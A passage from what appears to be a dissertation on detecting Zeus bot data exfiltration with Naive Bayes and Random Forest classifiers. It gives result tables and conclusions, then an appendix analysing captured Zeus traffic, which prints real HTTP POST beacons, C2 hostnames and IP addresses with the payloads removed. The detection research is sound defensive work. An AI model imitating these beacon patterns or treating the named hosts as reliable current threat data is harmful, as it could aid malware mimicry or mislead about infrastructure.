applying the heuristic value of plus through minus 30 seconds to the five primary datasets 

with the statistical value of plus 75 seconds through minus 45 seconds.  The higher 

percentages for the latter were expected given the larger total time interval.  The higher 

percentages in the smaller datasets (2hr, 24hr) compared with the larger datasets (2wk, 

1mon, 3mos) was also expected, given the selection of the smaller datasets from periods 

of significant user interaction.   

Table 4-62. Netflows Appearing Near April 2013 User Interactions 

Time Delta 0s 3s 30s 60s 90s 120s 150s 180s 

Plus or Minus 1438 10148 84581 107988 123148 135119 139604 141458 

Plus 1438 6296 45727 83657 92414 99973 104095 108707 

Minus 1438 5290 41151 81517 95636 110183 117773 123405 

 

Table 4-63. Percentage of Interaction Related Flows in Five Primary Datasets 

Data 
Set 

Benign 
Flows 

Interaction 
(+30s -30s) 

Interaction 
Percentage 

Interaction 
(+75s -45s) 

Interaction 
Percentage 

2hr 4,313 2,311 53.6% 3,114 72.2% 
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24hr 7,800 3,089 39.6% 3,581 45.9% 

2wk 280,423 46,740 16.7% 61,803 22.0% 

1mon 487,347 73,963 15.2% 97,020 19.9% 

3mos 1,518,623 138,155 9.0% 187,184 12.3% 

 

 

Impact of Changing Feature Type (Numeric/Nominal) 

     Table 4-64 provides the results of incrementally converting relevant attribute types 

from numeric to nominal on the performance of the Naïve Bayes and Random Forest 

classifiers using cross-validation against the two-week benign data set with 30 Zeus 

instances.  As the number of features converted from numeric to nominal grew from four 

to ten, the number of false positives produced by the Naïve Bayes classifier consistently 

declined, a performance improvement, without any detrimental impact on the true 

positive rate.  As the number of features converted from numeric to nominal grew from 

four to ten, the number of true positives produced by the Random Forest classifier 

consistently increased, also a performance improvement, without any detrimental impact 

on the false positive rate.   

Table 4-64: Performance improvements upon converting numeric to nominal 

Data  
Set 

Nominal 
Features 

Classifier Benign  
Instances 

Zeus  
Instances 

True  
Positives 

TP  
Rate 

False  
Positives 

FP  
Rate 

2wk 4 of 31 NB 280423 30 29 .967 140610 .501 

2wk 4 of 31 RF 280423 30 17 .567 0 0 

2wk 6 of 31 NB 280423 30 29 .967 135130 .482 

2wk 6 of 31 RF 280423 30 22 .733 0 0 

2wk 8 of 31 NB 280423 30 29 .967 124779 .445 
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2wk 8 of 31 RF 280423 30 24 .800 0 0 

2wk 10 of 31 NB 280423 30 29 .967 116964 .417 

2wk 10 of 31 RF 280423 30 24 .800 0 0 

 
 

Impact of Interaction Feature with Cross-Validation 

     The addition of the interaction feature frequently improved the performance of the 

Naïve Bayes classifier in terms of fewer false positives without negatively impacting the 

number of true positives.  This was true for ten-fold cross-validation of the full feature set 

across all three benign data sets tested (2hr, 24hr, 2wk) when using only 15 malicious 

instances (Table 4-5) and for the only benign sample set (2wk) tested when using 30 

malicious instances (Table 4-22).  The addition of the interaction feature improved the 

ten-fold cross-validation performance of the Random Forest classifier in terms of more 

true positives without negatively impacting false positives for largest of these data sets 

(2wk) when using 15 malicious instances (Table 4-5) and when using 30 malicious 

instances (Table 4-22).  The percentage of improvement to the Naïve Bayes’ false 

positive rate was generally less than one percent.  However, the percentage improvement 

to the Random Forest’s true positive rate was over six percent when using the smaller set 

(15) of malicious instances and over three percent when using the larger set (30). 

     A similar decrease in the Naïve Bayes classifier’s false positives and increase in the 

Random Forest classifier’s true positives were observed when the feature sets were 

modified and 15 malicious instances used (Tables 4-9, 4-13, 4-17), and when the feature 

sets were modified and 30 malicious instances used (Tables 4-26, 4-30, 4-34).  
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Impact of Interaction Feature with Separate Training and Testing Subsets 

     Again, the addition of the interaction feature frequently improved the performance of 

the Naïve Bayes classifier in terms of fewer false positives, but when using separate 

training and test sets it also increased the number of true positives for some of the benign 

sample sets when using 15 malicious instances (Table 4-7). However, in two cases the 

addition of the interaction feature resulted in more false positives for the Naïve Bayes 

classifier.  This occurred after switching the training and testing subsets of the two-hour 

and 24-hour benign instances and training with the smaller subsets (Table 4-7).   

     The addition of the interaction feature again improved the performance of the Random 

Forest classifier in terms of true positives, once using the two-hour benign data set with 

seven malicious instances in the testing subset (Table 4-7) and once using the two-week  

benign data set with 15 malicious instances in the testing subset (Table 4-24).  The 

percentage improvements were over 54 and over 15, respectively.  However, in one case 

when training with the larger subset of the 24-hour benign data set, the addition of the 

interaction feature resulted in one fewer true positive for a greater than 16 percent 

performance decline (Table 4-7). 

     Similar frequent decreases in the Naïve Bayes classifier’s false positives and one 

increase in true positives were observed when the feature sets were modified and 15 

malicious instances were used (Tables 4-11, 4-15, 4-19), and when the feature sets were 

modified and 30 malicious instances were used (Tables 4-28, 4-32, 4-36).  One increase 

in false positives was noted for the Naïve Bayes classifier when trained with the smaller 

(20%) subset of benign instances (Table 4-36).  The addition of the interaction feature did 

not result in any changes to the performance of the Random Forest classifier when the 
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feature sets were modified (Tables 4-11, 4-15, 4-19, 4-28, 4-32, 4-36).  In all of these 

cases, the Random Forest classifier failed to detect any of the malicious instances (zero 

TP) and made no mistakes (zero FP), with or without the interaction feature added. 

     The four occasions of declining performance highlighted the sensitivity of the 

classifiers to the data sets chosen for training and testing, particularly with the smaller 

numbers of benign and malicious samples.  Three declines were noted with the two-hour 

and 24-hour benign samples combined with 15 malicious samples.  One was noted with 

the two-week benign data set combined with 30 malicious instances and three features 

removed. 

 

Impact of Interaction Feature with Different Malicious Instances  

     The most notable impact of selecting different malicious instances and changing the 

ratio of training and testing instances to 21/9 was the zero true positive rates for both 

classifiers.  This was true when using the full feature set (Table 4-38) and all but one 

(Table 4-40) of the previously used reduced feature sets. Nonetheless, the addition of the 

interaction feature still resulted in a reduction of the number of false positives for the 

Naïve Bayes classifier every time (Tables 4-39, 4-41, 4-43, 4-45). This was also true 

when using a new compact feature set (Table 4-47). 

     When the ratio of the different malicious instances was changed from 21/9 to 15/15, 

however, both classifiers produced true positives.  The Naïve Bayes classifier’s false 

positive rate again improved with the addition of the interaction feature.  However, the 

true positive rate of the Random Forest classifier declined and one false positive was 
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generated.  This very uncommon result again highlighted the sensitivity of the classifiers 

to the training and testing subsets. 

 

Impact of Interaction Feature with Cross-Validation in Large Data Sets 

     Experiments with the larger, one-month (apr, may, jun) data sets were conducted 

using only the new (different) malicious instances and the compact feature set.  Again the 

addition of the interaction feature resulted in improvements to the performance of both 

classifiers.  The number of false positives decreased for the Naïve Bayes classifier with 

no decrease in true positives for all three one-month data sets (Tables 4-51, 4-55, 4-59).  

The true positive rate of the Random Forest classifier increased with no false positives for 

all three one-month data sets (Tables 4-51, 4-55, 4-59).  The average increase in true 

positive rate for the Random Forest classifier was over five percent across these three 

data sets, with performance approaching (apr,jun) or equaling (may) that of the Naïve 

Bayes classifier in terms of true positive rate and exceeding that of the Naïve Bayes 

classifier in terms of false positive rate. 

 

Impact of Interaction Feature with Separate Subsets of Large Data Sets 

     Experiments with the larger, one-month data sets partitioned into training and testing 

subsets again revealed that the addition of the interaction feature impacted the 

performance of the classifiers in a manner consistent with the earlier experiments.  The 

number of false positives was reduced five out of six times for the Naïve Bayes classifier 

without a decrease in true positives (Tables 4-53, 4-57, 4-61).  The true positive rate of 

the Random Forest classifier increased along with a corresponding decrease in false 
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positives for the April data set (Table 4-53).  However, that performance improvement 

was overshadowed by declines in the true positive rate for both the May and June data 

sets (Tables 4-57, 4-61), again highlighting this classifier’s sensitivity to the training and 

testing subsets. 
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Chapter 5 

Conclusions, Implications, Recommendations, and Summary 

 

Conclusions 

    The experiments conducted in this research provide empirical evidence that two 

leading machine learning methods, a Naive Bayes classifier and a Random Forest 

classifier, generally achieved better performance results when using network flow level 

features supplemented with an interaction feature to detect autonomous data exfiltration 

by the Zeus bot malware.  These are the first known experiments conducted to test 

whether detection of autonomous network traffic between the Zeus bot malware on an 

infected host and its remote command and control server can be improved by capturing 

and considering information about user interaction on that infected host.  These positive 

results contribute to the body of knowledge regarding malware detection in general and 

Zeus bot network activity in particular and represent the primary scientific contribution of 

this work.   

     The inter-packet analysis of contemporary samples of actual Zeus bot network activity 

in the wild revealed examples of HTTP communications behavior that differed from the 

patterns reported by earlier researchers (Al-Bataineh & White, 2012; Alserhani, Akhlaq, 

Awan, & Cullen, 2010; Binsalleeh, Ormerod, Boukhtouta, Sinha, Youssef, Debbabi, & 

Wang, 2010; Riccardi, Di Pietro, Palanques, & Vila, 2013).  This new behavior was the 

use of the HTTP POST method with an encrypted payload instead of the GET method 

with no payload by infected clients to request file updates (Table 4-2).  This is the first 
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known analysis of these Zeus malware samples. This discovery contributes to the body of 

knowledge regarding Zeus bot network activity for detection and countermeasures.  The 

examples provided of this behavior represent the next significant contribution of this 

work. 

     Both classifiers were sensitive to the choice of training and testing sets.  The purpose 

of partitioning the benign data sets into separate subsets for training and testing the 

classifiers was to ensure that the testing would be done using only instances that the 

classifier had not previously seen.  This is a recognized technique in the literature to 

prevent over fitting of the learned model to the training data, and is commonly used when 

large data sets are available.  Training with 80 percent of the examples and testing with 

the other 20 percent is a rule of thumb applied by some researchers (Guyon).  The 

purpose of switching the training and testing subsets in this work was to produce results 

from both an 80/20 split and a 20/80 split for comparison.  In many cases, the results 

differed.  The purpose of changing the number of malicious instances in the training and 

testing sets was also to produce results for comparison.  Again the results differed in 

many cases.  The purpose of using cross-validation and then separate training and 

(holdout) testing approaches was also to produce results for comparison.  As one 

example, both classifiers performed well in terms of true and false positives when trained 

with a relatively small set of malicious instances within the largest, one-month benign 

data sets. True positive rates were above 90 percent and false positive rates were less than 

one percent when the interaction feature was added.  However, this was only true when 

using 10-fold cross-validation.  The true positive rates for both classifiers dropped below 

90 percent for each of the three, one-month data sets when the data was partitioned into 
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separate training and testing subsets.  The purpose of incrementally converting more 

numeric features to nominal features for the same data set was also to produce results for 

comparison.  The results of both classifiers improved, in terms of fewer false positive for 

the Naïve Bayes and more true positives for the Random Forest, as the number of 

converted features was increased from four to ten in increments of two.  These results 

contribute empirical evidence to the body of knowledge regarding machine learning and 

represent the next significant contribution of this work. 

 

Implications 

     The Naïve Bayes and Random Forest classifiers performed better on flow level 

features when supplemented with an interaction feature.  This suggests that classifiers 

would also perform better on packet level features when supplemented with an 

interaction feature.  Intuition suggests that the features within the HTTP protocol 

messages, namely the resource request methods, would likely improve the performance 

of both classifiers over the use of only flow level features.  Correlating HTTP GET and 

POST methods with user interaction would likely improve results even further. 

     This work provided evidence that detecting of Zeus bot network behavior in netflows 

can be improved with external context, in this case a feature representing human 

interaction with software on the infected host.  This finding suggests that other context 

could produce similar improvements and should be considered.  This was not uncommon 

in the literature, where additional context was provided from file system and registry 

monitoring, for example.   
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     The use of the HTTP POST method instead of the HTTP GET method by the infected 

host to request files from the C&C server was first noted in the 2012 Zeus network 

sample. This implies that the technique has been in use since at least February 2012.  The 

previously reported technique of using the GET method was also noted in that sample, 

however.  Also, neither of the POST method requests in that sample included an 

encrypted payload.  These observations suggest that this period was early in what appears 

to be a trend toward the use of the POST method instead of the GET method, as noted in 

the 2014 Zeus samples.  None of these samples are very large, however, so suggesting 

this may be a trend comes with that caveat. 

     The use of the HTTP POST method with an encrypted payload to request 

configuration file updates is significant for multiple reasons.  It represents a more 

sophisticated technique than the use of the GET method with no payload because it 

allows additional information to be sent along with the request, a capability that could be 

leveraged to reduce the frequency of network connections and reduce the malware’s 

overall activity fingerprint.  This new technique also alters the expected network behavior 

of a host infected with Zeus that signature-based intrusion detection systems such as 

Snort® depend on (Alserhani, Akhlaq, Awan, & Cullen, 2010).  The implication is that 

recent Zeus activity using this technique may have gone undetected by intrusion detection 

systems that had been successful at detecting earlier variants that used the GET method to 

retrieve configuration files at the beginning of the infection sequence. 

     The sensitivity of the classifiers to the training and testing data suggests that the 

results of previous research that did not carefully consider these factors may not hold for 
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different variations within the same data, let alone for different data.  This could result in 

unexpected results when applying these methods to new data. 

     The results of this work offer potential for generalization and for application in 

network intrusion detection systems.  Machine learning methods have been successfully 

applied across a number of domains such as character recognition, image recognition, 

speech recognition, natural language processing, medical diagnosis, and robotics (Rieck, 

2011).  This work supplements the machine learning theoretical and engineering 

repertoires with empirical results.  Machine learning theory gains insight from the role 

human interaction plays in this classification technique.  An intrusion detection system 

could be implemented based on these new insights. It could be applied independently or 

in conjunction with other information security mechanisms such as signature-based 

intrusion detection systems. 

 

Recommendations 

     Experimentation with packet level data is the foremost recommendation for future 

work along the lines of the research presented here. All of the elements of the HTTP 

headers should be examined, beginning with the resource request methods, as previously 

noted.  Refining the interaction feature into a set of more precise features is also 

recommended.  This includes obtaining more precise timing information and developing 

a better statistical model of which network transactions result from user interactions. The 

positive results in this work without that precision suggest that better results could be 

achieved with it.   
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     Examining how the performance improvements resulting from the addition of the 

interaction feature change across more extreme changes in the benign data patterns is also 

recommended.  This work included changes over time in the benign data sets but did not 

fully investigate their impacts.  Future work should also include timing information, 

particularly for packet level information.  The timestamps of the packet transmissions 

would serve as the basis for constructing various time delta features, such as time 

between connections to the same remote hosts.  The net flow timestamps were not used in 

this work, primarily to simplify the process of integrating malicious flows with benign 

flows captured on separate hosts at separate times.   

     A final recommendation is to create a honeypot environment that also supports the 

generation and capture of user interaction such that fully integrated data sets could be 

generated and made available for research.  Most of the data sets provided by the 

operators of honeypots contain only the malicious network traffic.  This would not be a 

trivial undertaking, but would produce more accurate data sets help researchers avoid 

some of the pitfalls associated with data integration. 

 

Summary 

     The research presented in this Dissertation Report achieved its stated goal of revealing 

techniques for improving detection of data theft from a networked computer by bot 

malware.  The experimental results demonstrated that including information about user 

interaction on the infected computer improved the detection performance of two 

classifiers, Naive Bayes and Random Forest.  The experiments also demonstrated which 

specific sets of features derived from network flow software, Argus, resulted in the best 
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performance in terms of true and false positives by these two classifiers.  This new 

knowledge represents the primary contribution of this work to the information security 

body of knowledge.   
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Appendix Details of Analysis 

     The detailed analysis presented in this Appendix revealed new knowledge about the 

network behavior of contemporary variants of the Zeus botnet from samples captured in 

the wild during March and April of 2014.  A total of fifteen sample network trace files 

were initially examined.  Seven of the samples, all those that employed the domain 

generation algorithm (DGA), were found to contain no HTTP POST requests and 

therefore not included here.  The infected clients in those samples did not send any 

content to the malicious servers, detection of which was the focus of this research.  Eight 

of the samples were found to contain HTTP POST requests with encrypted content, 

consistent with the communications behavior reported for Zeus by previous researchers.  

The HTTP requests and responses in each of these samples were thoroughly analyzed at 

the inter-packet level to gain deeper insight into their observable network behavior and to 

determine which corresponding netflows would be most appropriate for training and 

testing the detection techniques in this research.   

 

Sample File 32c collected on 03 Apr 2014 with total time of 4 minutes 54 seconds 

     This network trace sample file consisted of 16 successful TCP connections, as 

summarized in Table A-1.  A column is included in the table to indicate whether the 

connection was preceded by a DNS query when the HTTP Host Header field specified a 

domain name as opposed to an IP address.  In this case domain names were specified for 

the suspicious servers. 

Table A-1. Summary of Connections in File 32c 

Source Port Destination IP HTTP Host Header DNS? 
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Source Port Destination IP HTTP Host Header DNS? 

1043 173.255.227.44 tandembikesoftware.com Yes 

1044 92.51.171.104 moneytrax.de Yes 

1045 92.51.171.104 moneytrax.de n/a 

1046 92.51.171.104 moneytrax.de n/a 

1047 92.51.171.104 moneytrax.de n/a 

1048 92.51.171.104 moneytrax.de n/a 

1049 92.51.171.104 moneytrax.de n/a 

1050 92.51.171.104 moneytrax.de n/a 

1051 92.51.171.104 moneytrax.de n/a 

1052 92.51.171.104 moneytrax.de n/a 

1053 92.51.171.104 moneytrax.de n/a 

1054 92.51.171.104 moneytrax.de n/a 

1055 92.51.171.104 moneytrax.de n/a 

1056 92.51.171.104 moneytrax.de n/a 

1057 92.51.171.104 moneytrax.de n/a 

1058 92.51.171.104 moneytrax.de n/a 

 

First Connection: Source Port 1043, Destination IP 173.255.227.44 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

The request, a POST method, specified a resource named “file.php” along with its 

relative path.  The request included a message body (entity-body) with a length of 120 
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bytes.  The message body contained no readable text.  The Connection header specified 

Keep-Alive to explicitly maintain a persistent connection after the response was 

complete, suggesting that additional requests might follow.  The Cache-Control header 

specified No-Cache to prevent caching by all caching mechanisms in proxies or gateways 

along the request chain.  The response, successful status code 200 OK, included a 

message body with a length of 118 bytes and no readable text.  The Cache-Control header 

used multiple tokens (values) to prevent caching along the request chain.  The Expires 

header specified a date and time in the distant past (1981).  This is not a prescribed way 

to use this header, according to RFC 2616, and may indicate a redundant effort to prevent 

caching.  The Content-Type header specified Text/Html and the message body content 

was in fact readable text. 

 

 

POST /phpbb2/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: tandembikesoftware.com 

Content-Length: 120 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Thu, 03 Apr 2014 21:11:50 GMT 

Server: Apache/2.2.14 (Ubuntu) 

X-Powered-By: PHP/5.3.2-1ubuntu4.18 

Set-Cookie: TW_APP=fu2e6mq7rc1f07cg5flmqnft77; path=/; 

domain=.tandembikesoftware.com 

Expires: Thu, 19 Nov 1981 08:52:00 GMT 
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Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-

check=0 

Pragma: no-cache 

Vary: Accept-Encoding 

Content-Length: 118 

Keep-Alive: timeout=15, max=100 

Connection: Keep-Alive 

Content-Type: text/html 

 

 

Fatal error: Class 'Phpbb2Controller' not found in 

/srv/www/tandembikesoftware.com/public_html/index.php on line 547 

 

 

     A query of ZeuS Tracker produced no matches for the IP Address 173.255.227.44 or 

the domain name “tandembikesoftware.com” of the server observed in this connection.  

A query using whois indicated that the IP address belonged to a block assigned to an ISP 

in the United States and the domain name had been registered to an individual in the 

United States for at least three years.   

    For this connection, Argus created three flows, one for the HTTP request and response, 

and two with packets to close the connection. 

Table A-2: Flows from First Connection in File 32c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1043 173.255.227.44 80 0.540241 572 763 4 3 

1043 173.255.227.44 80 0.000000 60 54 1 1 

1043 173.255.227.44 80 0.000000 60 0 1 0 

 

 

Second Connection: Source Port 1044, Destination IP 92.51.171.104 
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     The HTTP content over this TCP connection consisted of two requests from the local 

client to the remote server with corresponding responses from the remote server.  The 

first request, a POST method, specified a resource named “file.php” along with its 

relative path.  The request included a message body with a length of 120 bytes.  The 

message body contained no readable text.  The Connection header specified Keep-Alive 

to explicitly maintain a persistent connection after the response was complete, suggesting 

that additional requests might follow.  The Cache-Control header specified No-Cache to 

prevent caching by all caching mechanisms in proxies or gateways along the request 

chain.  The response, redirection status code 301 Moved Permanently, did not include a 

message body.  The Cache-Control header used multiple tokens to prevent caching along 

the request chain.  The Expires header again specified a date in the past.  The Location 

header specified a complete URI for the new location.  The X-Pingback header was used 

in this response with a resource (xmlrpc.php) that suggested notification via a remote 

procedure call.  This technique would allow the remote host to track requests.       

 

 

POST /images/upload/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: moneytrax.de 

Content-Length: 120 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 301 Moved Permanently 

Date: Thu, 03 Apr 2014 21:11:50 GMT 
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Server: Apache/2.2.22 (Ubuntu) 

X-Powered-By: PHP/5.3.10-1ubuntu3.10 

X-Pingback: http://www.moneytrax.de/xmlrpc.php 

Expires: Wed, 11 Jan 1984 05:00:00 GMT 

Cache-Control: no-cache, must-revalidate, max-age=0 

Pragma: no-cache 

Location: http://www.moneytrax.de/images/upload/file.php 

Vary: Accept-Encoding 

Content-Length: 0 

Keep-Alive: timeout=1, max=100 

Connection: Keep-Alive 

Content-Type: text/html; charset=UTF-8 

 

     The second request, a POST method, specified a resource named “file.php” along with 

its relative path.  This request also included a message body with a length of 120 bytes.  

The message body contained no readable text, but was identical to the message body in 

the previous request.  The second response, redirection status code 301 Moved 

Permanently, was essentially the same as the first response only time-stamped one second 

later. 

 

POST /images/upload/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: moneytrax.de 

Content-Length: 120 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 301 Moved Permanently 

Date: Thu, 03 Apr 2014 21:11:51 GMT 

Server: Apache/2.2.22 (Ubuntu) 
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X-Powered-By: PHP/5.3.10-1ubuntu3.10 

X-Pingback: http://www.moneytrax.de/xmlrpc.php 

Expires: Wed, 11 Jan 1984 05:00:00 GMT 

Cache-Control: no-cache, must-revalidate, max-age=0 

Pragma: no-cache 

Location: http://www.moneytrax.de/images/upload/file.php 

Vary: Accept-Encoding 

Content-Length: 0 

Keep-Alive: timeout=1, max=99 

Connection: Keep-Alive 

Content-Type: text/html; charset=UTF-8 

 

     A query of ZeuS Tracker produced no matches for the IP address 92.51.171.104 or the 

domain name “moneytrax.de” of the server observed in this connection.  A query using 

whois indicated that the IP address belonged to a block assigned to a company in 

Germany and the domain name had also been registered to a company in Germany for 

more than seven years.   

    For this connection, Argus created two flows, one for the HTTP requests and 

responses, and one with packets to close the connection. 

Table A-3: Flows from Second Connection in File 32c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1044 92.51.171.104 80 2.173191 1076 1377 7 7 

1044 92.51.171.104 80 0.068973 60 54 1 1 

 

 

Third Connection: Source Port 1045, Destination IP 92.51.171.104 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

The request in this case was a GET method specifying the “file.php” resource as before.  
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The request did not include a message body.  Again the Cache-Control header specified 

No-Cache to prevent caching.  The response, error status code 404 Not Found, did 

include a message body.  Again the X-Pingback header was used and the Expires header 

with past date was used.  The Content-Type header specified Text/html and the content 

was readable text.      

 

 

GET /images/upload/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: www.moneytrax.de 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

 

HTTP/1.1 404 Not Found 

Date: Thu, 03 Apr 2014 21:11:51 GMT 

Server: Apache/2.2.22 (Ubuntu) 

X-Powered-By: PHP/5.3.10-1ubuntu3.10 

X-Pingback: http://www.moneytrax.de/xmlrpc.php 

Expires: Wed, 11 Jan 1984 05:00:00 GMT 

Cache-Control: no-cache, must-revalidate, max-age=0 

Pragma: no-cache 

Vary: Accept-Encoding 

Keep-Alive: timeout=1, max=100 

Connection: Keep-Alive 

Transfer-Encoding: chunked 

Content-Type: text/html; charset=UTF-8 

 

( html content removed ) 

 

    For this connection, Argus created one flow.  
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Table A-4: Flows from Third Connection in File 32c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1045 92.51.171.104 80 0.431740 911 13829 12 13 

 

 

Fourth Connection: Source Port 1046, Destination IP 92.51.171.104 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

The request and response were essentially the same as in the previous connection.      

 

 

GET /images/upload/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: www.moneytrax.de 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

 

HTTP/1.1 404 Not Found 

Date: Thu, 03 Apr 2014 21:11:52 GMT 

Server: Apache/2.2.22 (Ubuntu) 

X-Powered-By: PHP/5.3.10-1ubuntu3.10 

X-Pingback: http://www.moneytrax.de/xmlrpc.php 

Expires: Wed, 11 Jan 1984 05:00:00 GMT 

Cache-Control: no-cache, must-revalidate, max-age=0 

Pragma: no-cache 

Vary: Accept-Encoding 

Keep-Alive: timeout=1, max=100 

Connection: Keep-Alive 

Transfer-Encoding: chunked 

Content-Type: text/html; charset=UTF-8 
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( html content removed ) 

 

    For this connection, Argus created one flow.  

Table A-5: Flows from Fourth Connection in File 32c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1046 92.51.171.104 80 0.419103 911 13775 12 12 

 

 

Fifth Connection: Source Port 1047, Destination IP 92.51.171.104 

     The HTTP content over this TCP connection consisted of two requests from the local 

client to the remote server with corresponding responses from the remote server.  These 

requests and responses repeated those in the second connection, only the timestamps of 

the responses were different.      

 

 

POST /images/upload/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: moneytrax.de 

Content-Length: 120 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 301 Moved Permanently 

Date: Thu, 03 Apr 2014 21:11:57 GMT 

Server: Apache/2.2.22 (Ubuntu) 

X-Powered-By: PHP/5.3.10-1ubuntu3.10 

X-Pingback: http://www.moneytrax.de/xmlrpc.php 
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Expires: Wed, 11 Jan 1984 05:00:00 GMT 

Cache-Control: no-cache, must-revalidate, max-age=0 

Pragma: no-cache 

Location: http://www.moneytrax.de/images/upload/file.php 

Vary: Accept-Encoding 

Content-Length: 0 

Keep-Alive: timeout=1, max=100 

Connection: Keep-Alive 

Content-Type: text/html; charset=UTF-8 

 

 

POST /images/upload/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: moneytrax.de 

Content-Length: 120 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 301 Moved Permanently 

Date: Thu, 03 Apr 2014 21:11:58 GMT 

Server: Apache/2.2.22 (Ubuntu) 

X-Powered-By: PHP/5.3.10-1ubuntu3.10 

X-Pingback: http://www.moneytrax.de/xmlrpc.php 

Expires: Wed, 11 Jan 1984 05:00:00 GMT 

Cache-Control: no-cache, must-revalidate, max-age=0 

Pragma: no-cache 

Location: http://www.moneytrax.de/images/upload/file.php 

Vary: Accept-Encoding 

Content-Length: 0 

Keep-Alive: timeout=1, max=99 

Connection: Keep-Alive 

Content-Type: text/html; charset=UTF-8 
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    For this connection, Argus created two flows, one for the requests and responses and 

another with packets to close the connection. 

Table A-6: Flows from Fifth Connection in File 32c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1047 92.51.171.104 80 2.090312 1076 1323 7 6 

1047 92.51.171.104 80 0.070885 60 54 1 1 

 

 

Sixth Connection: Source Port 1048, Destination IP 92.51.171.104 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

The request and response repeated those in the fourth connection, only the response 

timestamps were different.      

 

 

GET /images/upload/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: www.moneytrax.de 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

 

HTTP/1.1 404 Not Found 

Date: Thu, 03 Apr 2014 21:11:57 GMT 

Server: Apache/2.2.22 (Ubuntu) 

X-Powered-By: PHP/5.3.10-1ubuntu3.10 

X-Pingback: http://www.moneytrax.de/xmlrpc.php 

Expires: Wed, 11 Jan 1984 05:00:00 GMT 

Cache-Control: no-cache, must-revalidate, max-age=0 

Pragma: no-cache 
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Vary: Accept-Encoding 

Keep-Alive: timeout=1, max=100 

Connection: Keep-Alive 

Transfer-Encoding: chunked 

Content-Type: text/html; charset=UTF-8 

 

( html/script content removed ) 

 

    For this connection, Argus created one flow.  

Table A-7: Flows from Sixth Connection in File 32c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1048 92.51.171.104 80 0.443478 911 13775 12 12 

 

 

Seventh Connection: Source Port 1049, Destination IP 92.51.171.104 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

The request and response in this connection again repeated those in the fourth and sixth 

connections.     

 

 

GET /images/upload/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: www.moneytrax.de 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

 

HTTP/1.1 404 Not Found 

Date: Thu, 03 Apr 2014 21:11:58 GMT 
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Server: Apache/2.2.22 (Ubuntu) 

X-Powered-By: PHP/5.3.10-1ubuntu3.10 

X-Pingback: http://www.moneytrax.de/xmlrpc.php 

Expires: Wed, 11 Jan 1984 05:00:00 GMT 

Cache-Control: no-cache, must-revalidate, max-age=0 

Pragma: no-cache 

Vary: Accept-Encoding 

Keep-Alive: timeout=1, max=100 

Connection: Keep-Alive 

Transfer-Encoding: chunked 

Content-Type: text/html; charset=UTF-8 

 

( html/script content removed ) 

 

    For this connection, Argus created one flow.  

Table A-8: Flows from Seventh Connection in File 32c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1049 92.51.171.104 80 0.421246 911 13775 12 12 

 

 

Eighth Connection: Source Port 1050, Destination IP 92.51.171.104 

     The HTTP content over this TCP connection consisted of two requests from the local 

client to the remote server with corresponding responses from the remote server.  Again 

the requests and responses were repeats of earlier connections.      

 

 

POST /images/upload/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: moneytrax.de 

Content-Length: 120 
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Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 301 Moved Permanently 

Date: Thu, 03 Apr 2014 21:12:04 GMT 

Server: Apache/2.2.22 (Ubuntu) 

X-Powered-By: PHP/5.3.10-1ubuntu3.10 

X-Pingback: http://www.moneytrax.de/xmlrpc.php 

Expires: Wed, 11 Jan 1984 05:00:00 GMT 

Cache-Control: no-cache, must-revalidate, max-age=0 

Pragma: no-cache 

Location: http://www.moneytrax.de/images/upload/file.php 

Vary: Accept-Encoding 

Content-Length: 0 

Keep-Alive: timeout=1, max=100 

Connection: Keep-Alive 

Content-Type: text/html; charset=UTF-8 

 

 

POST /images/upload/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

